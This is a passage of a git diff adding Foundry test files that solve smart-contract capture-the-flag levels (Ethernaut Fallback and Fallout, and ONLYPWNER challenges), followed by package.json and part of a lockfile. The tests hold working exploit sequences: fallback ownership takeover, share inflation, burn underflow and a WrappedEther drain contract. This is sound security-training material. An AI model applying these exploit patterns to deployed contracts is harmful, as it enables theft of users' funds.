+ + // ... + + /* END CODE YOUR SOLUTION */ + vm.startPrank(deployer); + _after(); + } + + function _after() public { + /* SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */ + assertEq(token.totalSupply(), type(uint256).max, "CHECK totalSupply()"); + vm.stopPrank(); + } +} diff --git a/foundry/test/CTF/Damn-Vulnerable-DeFi/15.ABI-Smuggling.t.sol b/foundry/test/CTF/Damn-Vulnerable-DeFi/15.ABI-Smuggling.t.sol new file mode 100644 index 0000000..b516b9a --- /dev/null +++ b/foundry/test/CTF/Damn-Vulnerable-DeFi/15.ABI-Smuggling.t.sol @@ -0,0 +1,46 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { Test } from "@dev/forge-std/src/Test.sol"; +// import { Vm } from "forge-std/Vm.sol"; +import { DamnValuableToken } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableToken.sol"; + +/* + forge test --match-path foundry/test/CTF/Damn-Vulnerable-DeFi/15.ABI-Smuggling.t.sol -vvvvv +*/ + +contract Challenge_15_ABI_Smuggling_Test is Test { + // hacking attack address + address private deployer = address(1); + address private feeRecipient = address(2); + address private player = address(2333); + DamnValuableToken public token; + + function setUp() public { + vm.startPrank(deployer); + vm.deal(deployer, type(uint256).max); + _before(); + vm.stopPrank(); + } + + function _before() public { + /* SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */ + token = new DamnValuableToken(); + } + + function test_Exploit() public { + /* START CODE YOUR SOLUTION HERE */ + + // ... + + /* END CODE YOUR SOLUTION */ + vm.startPrank(deployer); + _after(); + } + + function _after() public { + /* SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */ + assertEq(token.totalSupply(), type(uint256).max, "CHECK totalSupply()"); + vm.stopPrank(); + } +} diff --git a/foundry/test/CTF/Ethernaut/01_Fallback.t.sol b/foundry/test/CTF/Ethernaut/01_Fallback.t.sol new file mode 100644 index 0000000..b3888f3 --- /dev/null +++ b/foundry/test/CTF/Ethernaut/01_Fallback.t.sol @@ -0,0 +1,58 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { Test } from "@dev/forge-std/src/Test.sol"; +import { Fallback, FallbackFactory } from "@contracts/CTF/Ethernaut/01_Fallback.sol"; +import { Ethernaut } from "@contracts/CTF/Ethernaut/00_Ethernaut.sol"; +import { console } from "@dev/forge-std/src/console.sol"; + +/* + forge test --match-path foundry/test/Ethernaut/01_Fallback.t.sol -vvvv +*/ + +contract FallbackTest is Test { + Ethernaut private ethernaut; + // hacking attack address + address private attackAddress = address(2333); + address private levelAddress = address(0); + Fallback private victimInstance; + + function setUp() public { + // Setup instance of the Ethernaut contract + _before(); + // Deal attack address some ether + vm.deal(attackAddress, 5 ether); + } + + function _before() public { + // 1.SetUp the exploit + ethernaut = new Ethernaut(); + FallbackFactory levelFactory = new FallbackFactory(); + ethernaut.registerLevel(levelFactory); + vm.startPrank(attackAddress); + levelAddress = ethernaut.createLevelInstance(levelFactory); + victimInstance = Fallback(payable(levelAddress)); + console.log("Ethernaut Attack Address: ", attackAddress); + } + + function test_Exploit() public { + // 2.Run the exploit + + // 捐一点钱成为贡献者 + victimInstance.contribute{ value: 1 wei }(); + // 转 ETH 但是却没给足够的 gas 来触发 fallback + (bool isSent,) = payable(address(victimInstance)).call{ value: 1 wei }(""); + assertTrue(isSent); + // 转出检查余额 + victimInstance.withdraw(); + + // 3.verify the exploit + _after(); + } + + function _after() public { + bool levelSuccessfullyPassed = ethernaut.submitLevelInstance(payable(levelAddress)); + vm.stopPrank(); + assertTrue(levelSuccessfullyPassed, "Solution is not solving the level"); + } +} diff --git a/foundry/test/CTF/Ethernaut/02_Fallout.t.sol b/foundry/test/CTF/Ethernaut/02_Fallout.t.sol new file mode 100644 index 0000000..d65ab4e --- /dev/null +++ b/foundry/test/CTF/Ethernaut/02_Fallout.t.sol @@ -0,0 +1,52 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { Test } from "@dev/forge-std/src/Test.sol"; +import { console } from "@dev/forge-std/src/console.sol"; +import { Ethernaut } from "@contracts/CTF/Ethernaut/00_Ethernaut.sol"; +import { Fallout, FalloutFactory } from "@contracts/CTF/Ethernaut/02_Fallout.sol"; + +/* + forge test --match-path foundry/test/Ethernaut/02_Fallout.t.sol -vvvv +*/ + +contract FalloutTest is Test { + Ethernaut private ethernaut; + // hacking attack address + address private attackAddress = address(2333); + address private levelAddress = address(0); + Fallout private victimInstance; + + function setUp() public { + // Setup instance of the Ethernaut contract + _before(); + // Deal attack address some ether + vm.deal(attackAddress, 5 ether); + } + + function _before() public { + // 1.SetUp the exploit + ethernaut = new Ethernaut(); + FalloutFactory levelFactory = new FalloutFactory(); + ethernaut.registerLevel(levelFactory); + vm.startPrank(attackAddress); + levelAddress = ethernaut.createLevelInstance(levelFactory); + victimInstance = Fallout(payable(levelAddress)); + console.log("Ethernaut Attack Address: ", attackAddress); + } + + function test_Exploit() public { + // 2.Run the exploit + + victimInstance.Fal1out{ value: 1 wei }(); + + // 3.verify the exploit + _after(); + } + + function _after() public { + bool levelSuccessfullyPassed = ethernaut.submitLevelInstance(payable(levelAddress)); + vm.stopPrank(); + assertTrue(levelSuccessfullyPassed, "Solution is not solving the level"); + } +} diff --git a/foundry/test/CTF/ONLYPWNER/03.REVERSE-RUGPULL.t.sol b/foundry/test/CTF/ONLYPWNER/03.REVERSE-RUGPULL.t.sol new file mode 100644 index 0000000..85063c7 --- /dev/null +++ b/foundry/test/CTF/ONLYPWNER/03.REVERSE-RUGPULL.t.sol @@ -0,0 +1,71 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { Test } from "@dev/forge-std/src/Test.sol"; +import { console2 } from "@dev/forge-std/src/console2.sol"; +import { MintableERC20, Vault } from "@contracts/CTF/ONLYPWNER/03.REVERSE-RUGPULL.sol"; + +/* + forge test --match-path foundry/test/CTF/ONLYPWNER/03.REVERSE-RUGPULL.t.sol -vvvv +*/ + +/* solhint-disable reentrancy */ +contract REVERSE_RUGPULL_03_Test is Test { + // hacking attack address + address private hacker = address(2333); + Vault private victimInstance; + + function setUp() public { + // Setup instance of the Ethernaut contract + _before(); + // Deal attack address some ether + vm.deal(hacker, 5 ether); + } + + function _before() public { + // 1.SetUp the exploit + MintableERC20 token = new MintableERC20("TOKEN", "TOKEN", 10 ether); + victimInstance = new Vault(address(token)); + token.transfer(address(hacker), 9 ether); + } + + function _log() public view { + console2.log( + "Vault Balance:", + victimInstance.token().balanceOf(address(victimInstance)), + "Vault Shares:", + victimInstance.totalShares() + ); + } + + function test_Exploit() public { + vm.startPrank(hacker); + // 2.Run the exploit + _log(); + + victimInstance.token().approve(address(victimInstance), type(uint256).max); + victimInstance.token().transfer(address(victimInstance), 0.1 ether - 2); + _log(); + victimInstance.deposit(1); + _log(); + // victimInstance.token().transfer(address(victimInstance), 100); + // victimInstance.deposit(100); + // victimInstance.withdraw(1); + // _log(); + console2.log("CAL ", (uint256(0.1 ether * 1) / (0.1 ether - 1))); + console2.log(uint256(10 ** 17), 0.1 ether); + // 3.verify the exploit + _after(); + } + + function _after() public { + vm.stopPrank(); + // assertLt( + // victimInstance.token().balanceOf(address(victimInstance)), 0.1 ether, "Not solved: Valut have more token" + // ); + // victimInstance.token().approve(address(victimInstance), type(uint256).max); + // victimInstance.deposit(0.1 ether); + // assertEq(victimInstance.shares(address(this)), 0, "Not solved: Valut have shares"); + } +} +/* solhint-enable reentrancy */ diff --git a/foundry/test/CTF/ONLYPWNER/04.UNDER-THE-FLOW.t.sol b/foundry/test/CTF/ONLYPWNER/04.UNDER-THE-FLOW.t.sol new file mode 100644 index 0000000..0aefc01 --- /dev/null +++ b/foundry/test/CTF/ONLYPWNER/04.UNDER-THE-FLOW.t.sol @@ -0,0 +1,51 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { Test } from "@dev/forge-std/src/Test.sol"; +import { console2 } from "@dev/forge-std/src/console2.sol"; +import { ImprovedERC20 } from "@contracts/CTF/ONLYPWNER/04.UNDER-THE-FLOW.sol"; + +/* + forge test --match-path foundry/test/CTF/ONLYPWNER/04.UNDER-THE-FLOW.t.sol -vvvv +*/ + +contract UNDER_THE_FLOW_04_Test is Test { + // hacking attack address + address private hacker = address(1); + address private other = address(2); + ImprovedERC20 private erc20; + + function setUp() public { + // Setup instance of the Ethernaut contract + _before(); + // Deal attack address some ether + vm.deal(hacker, 5 ether); + } + + function _before() public { + // 1.SetUp the exploit + erc20 = new ImprovedERC20( + "Improved ERC20", + "IMPERC20", + 18, + 100 ether); + + erc20.transfer(other, 100 ether); + } + + function test_Exploit() public { + vm.startPrank(hacker); + // 2.Run the exploit + console2.log("owner()", erc20.owner()); + unchecked { + erc20.burn(hacker, type(uint256).max + 1); + } + // 3.Verify the exploit + _after(); + } + + function _after() public { + vm.stopPrank(); + // require(erc20.balanceOf(address(hacker)) > 0, "Not solved: Attacker not have token"); + } +} diff --git a/foundry/test/CTF/ONLYPWNER/05.WRAPPED-ETHER.t.sol b/foundry/test/CTF/ONLYPWNER/05.WRAPPED-ETHER.t.sol new file mode 100644 index 0000000..b89e654 --- /dev/null +++ b/foundry/test/CTF/ONLYPWNER/05.WRAPPED-ETHER.t.sol @@ -0,0 +1,52 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { Test } from "@dev/forge-std/src/Test.sol"; +import { WrappedEther, WrappedEtherExploit } from "@contracts/CTF/ONLYPWNER/05.WRAPPED-ETHER.sol"; + +/* + forge test --match-path foundry/test/CTF/ONLYPWNER/05.WRAPPED-ETHER.t.sol -vvvv +*/ + +contract WRAPPED_ETHER_05_Test is Test { + // hacking attack address + address private hacker = address(1); + address private other = address(2); + WrappedEther private weth; + + function setUp() public { + // Setup instance of the Ethernaut contract + _before(); + // Deal attack address some ether + vm.deal(hacker, 5 ether); + } + + function _before() public { + // 1.SetUp the exploit + weth = new WrappedEther(); + + weth.deposit{ value: 1 ether }(address(uint160(hacker) + 1)); + weth.deposit{ value: 1 ether }(address(uint160(hacker) + 2)); + weth.deposit{ value: 1 ether }(address(uint160(hacker) + 3)); + weth.deposit{ value: 1 ether }(address(uint160(hacker) + 4)); + weth.deposit{ value: 1 ether }(address(uint160(hacker) + 5)); + + // payable(hacker).transfer(1 ether); + } + + function test_Exploit() public { + vm.startPrank(hacker); + // 2.Run the exploit + WrappedEtherExploit hackInst = new WrappedEtherExploit(address(weth)); + + hackInst.attack{ value: 1 ether }(); + + // 3.Verify the exploit + _after(); + } + + function _after() public { + vm.stopPrank(); + require(address(weth).balance == 0, "Not solved: weth have token"); + } +} diff --git a/hardhat/.gitkeep b/hardhat/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/package.json b/package.json new file mode 100644 index 0000000..4ad219e --- /dev/null +++ b/package.json @@ -0,0 +1,33 @@ +{ + "name": "@6boris/awesome-web3-contracts", + "description": "Holds the contracts that web3 developers use on a daily basis, including ethernaut, etc.", + "version": "0.0.1", + "author": { + "name": "Boris Liu", + "url": "https://github.com/6boris" + }, + "keywords": [ + "blockchain", + "ethereum", + "forge", + "foundry", + "smart-contracts", + "solidity", + "ethernaut", + "hacker" + ], + "private": true, + "scripts": { + "clean": "rm -rf foundry/cache foundry/out foundry/broadcast", + "lint": "yarn lint:sol && yarn lint:prettier", + "lint:sol": "forge fmt && yarn solhint foundry/test/**/*.sol contracts/**/*.sol --fix", + "lint:prettier": "prettier --write **/*.{json,md,yml} --ignore-path=.prettierignore", + "test": "forge test", + "test:coverage": "forge coverage", + "test:coverage:report": "forge coverage --report lcov && genhtml lcov.info --branch-coverage --output-dir foundry/coverage" + }, + "devDependencies": { + "prettier": "^3.0.3", + "solhint": "^3.6.2" + } +} diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml new file mode 100644 index 0000000..bf70a2d --- /dev/null +++ b/pnpm-lock.yaml @@ -0,0 +1,474 @@ +lockfileVersion: '6.0' + +settings: + autoInstallPeers: true + excludeLinksFromLockfile: false + +devDependencies: + prettier: + specifier: ^3.0.3 + version: 3.0.3 + solhint: + specifier: ^3.6.2 + version: 3.6.2 + +packages: + + /@babel/code-frame@7.22.13: + resolution: {integrity: sha512-XktuhWlJ5g+3TJXc5upd9Ks1HutSArik6jf2eAjYFyIOf4ej3RN+184cZbzDvbPnuTJIUhPKKJE3cIsYTiAT3w==} + engines: {node: '>=6.9.0'} + dependencies: + '@babel/highlight': 7.22.20 + chalk: 2.4.2 + dev: true + + /@babel/helper-validator-identifier@7.22.20: + resolution: {integrity: sha512-Y4OZ+ytlatR8AI+8KZfKuL5urKp7qey08ha31L8b3BwewJAoJamTzyvxPR/5D+KkdJCGPq/+8TukHBlY10FX9A==} + engines: {node: '>=6.9.0'} + dev: true + + /@babel/highlight@7.22.20: + resolution: {integrity: sha512-dkdMCN3py0+ksCgYmGG8jKeGA/8Tk+gJwSYYlFGxG5lmhfKNoAy004YpLxpS1W2J8m/EK2Ew+yOs9pVRwO89mg==} + engines: {node: '>=6.9.0'} + dependencies: + '@babel/helper-validator-identifier': 7.22.20 + chalk: 2.4.2 + js-tokens: 4.0.0 + dev: true + + /@solidity-parser/parser@0.16.1: + resolution: {integrity: sha512-PdhRFNhbTtu3x8Axm0uYpqOy/lODYQK+MlYSgqIsq2L8SFYEHJPHNUiOTAJbDGzNjjr1/n9AcIayxafR/fWmYw==} + dependencies: + antlr4ts: 0.5.0-alpha.4 + dev: true + + /ajv@6.12.6: + resolution: {integrity: sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==} + dependencies: + fast-deep-equal: 3.1.3 + fast-json-stable-stringify: 2.1.0 + json-schema-traverse: 0.4.1 + uri-js: 4.4.1 + dev: true + + /ajv@8.12.0: + resolution: {integrity: sha512-sRu1kpcO9yLtYxBKvqfTeh9KzZEwO3STyX1HT+4CaDzC6HpTGYhIhPIzj9XuKU7KYDwnaeh5hcOwjy1QuJzBPA==} + dependencies: + fast-deep-equal: 3.1.3 + json-schema-traverse: 1.0.0 + require-from-string: 2.0.2 + uri-js: 4.4.1 + dev: true + + /ansi-regex@5.0.1: + resolution: {integrity: sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==} + engines: {node: '>=8'} + dev: true + + /ansi-styles@3.2.1: + resolution: {integrity: sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==} + engines: {node: '>=4'} + dependencies: + color-convert: 1.9.3 + dev: true + + /ansi-styles@4.3.0: + resolution: {integrity: sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==} + engines: {node: '>=8'} + dependencies: + color-convert: 2.0.1 + dev: true + + /antlr4@4.13.1: + resolution: {integrity: sha512-kiXTspaRYvnIArgE97z5YVVf/cDVQABr3abFRR6mE7yesLMkgu4ujuyV/sgxafQ8wgve0DJQUJ38Z8tkgA2izA==} + engines: {node: '>=16'} + dev: true + + /antlr4ts@0.5.0-alpha.4: + resolution: {integrity: sha512-WPQDt1B74OfPv/IMS2ekXAKkTZIHl88uMetg6q3OTqgFxZ/dxDXI0EWLyZid/1Pe6hTftyg5N7gel5wNAGxXyQ==} + dev: true + + /argparse@2.0.1: + resolution: {integrity: sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==} + dev: true + + /ast-parents@0.0.1: + resolution: {integrity: sha512-XHusKxKz3zoYk1ic8Un640joHbFMhbqneyoZfoKnEGtf2ey9Uh/IdpcQplODdO/kENaMIWsD0nJm4+wX3UNLHA==} + dev: true + + /astral-regex@2.0.0: + resolution: {integrity: sha512-Z7tMw1ytTXt5jqMcOP+OQteU1VuNK9Y02uuJtKQ1Sv69jXQKKg5cibLwGJow8yzZP+eAc18EmLGPal0bp36rvQ==} + engines: {node: '>=8'} + dev: true + + /balanced-match@1.0.2: + resolution: {integrity: sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==} + dev: true + + /brace-expansion@2.0.1: + resolution: {integrity: sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==} + dependencies: + balanced-match: 1.0.2 + dev: true + + /callsites@3.1.0: + resolution: {integrity: sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==} + engines: {node: '>=6'} + dev: true + + /chalk@2.4.2: + resolution: {integrity: sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==} + engines: {node: '>=4'} + dependencies: + ansi-styles: 3.2.1 + escape-string-regexp: 1.0.5 + supports-color: 5.5.0 + dev: true + + /chalk@4.1.2: + resolution: {integrity: sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==} + engines: {node: '>=10'} + dependencies: + ansi-styles: 4.3.0 + supports-color: 7.2.0 + dev: true + + /color-convert@1.9.3: + resolution: {integrity: sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==} + dependencies: + color-name: 1.1.3 + dev: true + + /color-convert@2.0.1: + resolution: {integrity: sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==} + engines: {node: '>=7.0.0'} + dependencies: + color-name: 1.1.4 + dev: true + + /color-name@1.1.3: + resolution: {integrity: sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==} + dev: true + + /color-name@1.1.4: + resolution: {integrity: sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==} + dev: true + + /commander@10.0.1: + resolution: {integrity: sha512-y4Mg2tXshplEbSGzx7amzPwKKOCGuoSRP/CjEdwwk0FOGlUbq6lKuoyDZTNZkmxHdJtp54hdfY/JUrdL7Xfdug==} + engines: {node: '>=14'} + dev: true + + /cosmiconfig@8.3.6: + resolution: {integrity: sha512-kcZ6+W5QzcJ3P1Mt+83OUv/oHFqZHIx8DuxG6eZ5RGMERoLqp4BuGjhHLYGK+Kf5XVkQvqBSmAy/nGWN3qDgEA==} + engines: {node: '>=14'} + peerDependencies: + typescript: '>=4.9.5' + peerDependenciesMeta: + typescript: + optional: true + dependencies: + import-fresh: 3.3.0 + js-yaml: 4.1.0 + parse-json: 5.2.0 + path-type: 4.0.0 + dev: true + + /emoji-regex@8.0.0: + resolution: {integrity: sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==} + dev: true + + /error-ex@1.3.2: + resolution: {integrity: sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==} + dependencies: + is-arrayish: 0.2.1 + dev: true + + /escape-string-regexp@1.0.5: + resolution: {integrity: sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==} + engines: {node: '>=0.8.0'} + dev: true + + /fast-deep-equal@3.1.3: + resolution: {integrity: sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==} + dev: true + + /fast-diff@1.3.0: + resolution: {integrity: sha512-VxPP4NqbUjj6MaAOafWeUn2cXWLcCtljklUtZf0Ind4XQ+QPtmA0b18zZy0jIQx+ExRVCR/ZQpBmik5lXshNsw==} + dev: true + + /fast-json-stable-stringify@2.1.0: + resolution: {integrity: sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==} + dev: true + + /fs.realpath@1.0.0: + resolution: {integrity: sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==} + dev: true + + /glob@8.1.0: + resolution: {integrity: sha512-r8hpEjiQEYlF2QU0df3dS+nxxSIreXQS1qRhMJM0Q5NDdR386C7jb7Hwwod8Fgiuex+k0GFjgft18yvxm5XoCQ==} + engines: {node: '>=12'} + dependencies: + fs.realpath: 1.0.0 + inflight: 1.0.6 + inherits: 2.0.4 + minimatch: 5.1.6 + once: 1.4.0 + dev: true + + /has-flag@3.0.0: + resolution: {integrity: sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==} + engines: {node: '>=4'} + dev: true + + /has-flag@4.0.0: + resolution: {integrity: sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==} + engines: {node: '>=8'} + dev: true + + /ignore@5.2.4: + resolution: {integrity: sha512-MAb38BcSbH0eHNBxn7ql2NH/kX33OkB3lZ1BNdh7ENeRChHTYsTvWrMubiIAMNS2llXEEgZ1MUOBtXChP3kaFQ==} + engines: {node: '>= 4'} + dev: true + + /import-fresh@3.3.0: + resolution: {integrity: sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw==} + engines: {node: '>=6'} + dependencies: + parent-module: 1.0.1 + resolve-from: 4.0.0 + dev: true + + /inflight@1.0.6: + resolution: {integrity: sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==} + dependencies: + once: 1.4.0 + wrappy: 1.0.2 + dev: true + + /inherits@2.0.4: + resolution: {integrity: sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==} + dev: true + + /is-arrayish@0.2.1: + resolution: {integrity: sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==} + dev: true + + /is-fullwidth-code-point@3.0.0: + resolution: {integrity: sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==} + engines: {node: '>=8'} + dev: true + + /js-tokens@4.0.0: + resolution: {integrity: sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==} + dev: true + + /js-yaml@4.1.0: + resolution: {integrity: sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==} + hasBin: true + dependencies: + argparse: 2.0.1 + dev: true + + /json-parse-even-better-errors@2.3.1: + resolution: {integrity: sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==} + dev: true + + /json-schema-traverse@0.4.1: + resolution: {integrity: sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==} + dev: true + + /json-schema-traverse@1.0.0: + resolution: {integrity: sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==} + dev: true + + /lines-and-columns@1.2.4: + resolution: {integrity: sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==} + dev: true + + /lodash.truncate@4.4.2: + resolution: {integrity: sha512-jttmRe7bRse52OsWIMDLaXxWqRAmtIUccAQ3garviCqJjafXOfNMO0yMfNpdD6zbGaTU0P5Nz7e7gAT6cKmJRw==} + dev: true + + /lodash@4.17.21: + resolution: {integrity: sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==} + dev: true + + /lru-cache@6.0.0: + resolution: {integrity: sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==} + engines: {node: '>=10'} + dependencies: + yallist: 4.0.0 + dev: true + + /minimatch@5.1.6: + resolution: {integrity: sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g==} + engines: {node: '>=10'} + dependencies: + brace-expansion: 2.0.1 + dev: true + + /once@1.4.0: + resolution: {integrity: sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==} + dependencies: + wrappy: 1.0.2 + dev: true + + /parent-module@1.0.1: + resolution: {integrity: sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==} + engines: {node: '>=6'} + dependencies: + callsites: 3.1.0 + dev: true + + /parse-json@5.2.0: + resolution: {integrity: sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==} + engines: {node: '>=8'} + dependencies: + '@babel/code-frame': 7.22.13 + error-ex: 1.3.2 + json-parse-even-better-errors: 2.3.1 + lines-and-columns: 1.2.4 + dev: true + + /path-type@4.0.0: + resolution: {integrity: sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==} + engines: {node: '>=8'} + dev: true + + /pluralize@8.0.0: + resolution: {integrity: sha512-Nc3IT5yHzflTfbjgqWcCPpo7DaKy4FnpB0l/zCAW0Tc7jxAiuqSxHasntB3D7887LSrA93kDJ9IXovxJYxyLCA==} + engines: {node: '>=4'} + dev: true + + /prettier@2.8.8: + resolution: {integrity: sha512-tdN8qQGvNjw4CHbY+XXk0JgCXn9QiF21a55rBe5LJAU+kDyC4WQn4+awm2Xfk2lQMk5fKup9XgzTZtGkjBdP9Q==} + engines: {node: '>=10.13.0'} + hasBin: true + requiresBuild: true + dev: true + optional: true + + /prettier@3.0.3: + resolution: {integrity: sha512-L/4pUDMxcNa8R/EthV08Zt42WBO4h1rarVtK0K+QJG0X187OLo7l699jWw0GKuwzkPQ//jMFA/8Xm6Fh3J/DAg==} + engines: {node: '>=14'} + hasBin: true + dev: true + + /punycode@2.3.0: + resolution: {integrity: sha512-rRV+zQD8tVFys26lAGR9WUuS4iUAngJScM+ZRSKtvl5tKeZ2t5bvdNFdNHBW9FWR4guGHlgmsZ1G7BSm2wTbuA==} + engines: {node: '>=6'} + dev: true + + /require-from-string@2.0.2: + resolution: {integrity: sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==} + engines: {node: '>=0.10.0'} + dev: true + + /resolve-from@4.0.0: + resolution: {integrity: sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==} + engines: {node: '>=4'} + dev: true + + /semver@7.5.4: + resolution: {integrity: sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==} + engines: {node: '>=10'} + hasBin: true + dependencies: + lru-cache: 6.0.0 + dev: true + + /slice-ansi@4.0.0: + resolution: {integrity: sha512-qMCMfhY040cVHT43K9BFygqYbUPFZKHOg7K73mtTWJRb8pyP3fzf4Ixd5SzdEJQ6MRUg/WBnOLxghZtKKurENQ==} + engines: 